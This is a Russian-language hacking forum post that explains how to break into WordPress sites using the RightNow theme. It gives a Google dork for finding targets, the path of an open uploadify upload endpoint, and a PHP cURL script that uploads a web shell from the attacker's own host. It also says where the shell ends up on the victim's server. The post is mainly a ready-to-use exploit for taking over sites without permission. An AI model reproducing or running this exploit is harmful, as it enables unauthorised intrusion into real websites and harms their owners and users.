РЕКЛАМА НА ФОРУМЕ 

РЕКЛАМА НА ФОРУМЕ MultiVPN РЕКЛАМА НА ФОРУМЕ

Взлом WP - RightNow баг

Сообщения
191
Реакции
233
Баллы
58
Для начало ищем в гугле inurl:wp-content/themes/RightNow/
потом чекаем site.ru/wp-content/themes/RightNow/includes/uploadify/upload_settings_image.php
если загрузчик открыт то загружает туда такой файл

Код:
<?php
$uploadfile="http:/yousite.ru/shelli.php";
$ch=curl_init("http:/site.ru/site/wp-content/themes/RightNow/includes/uploadify/upload_settings_image.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array(’Filedata’=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
http:/yousite.ru/shelli.php - путь где хранится ваш шелл
шелл загрузится сюда wp-content/uploads/settingsimages/shell.php
 
Сверху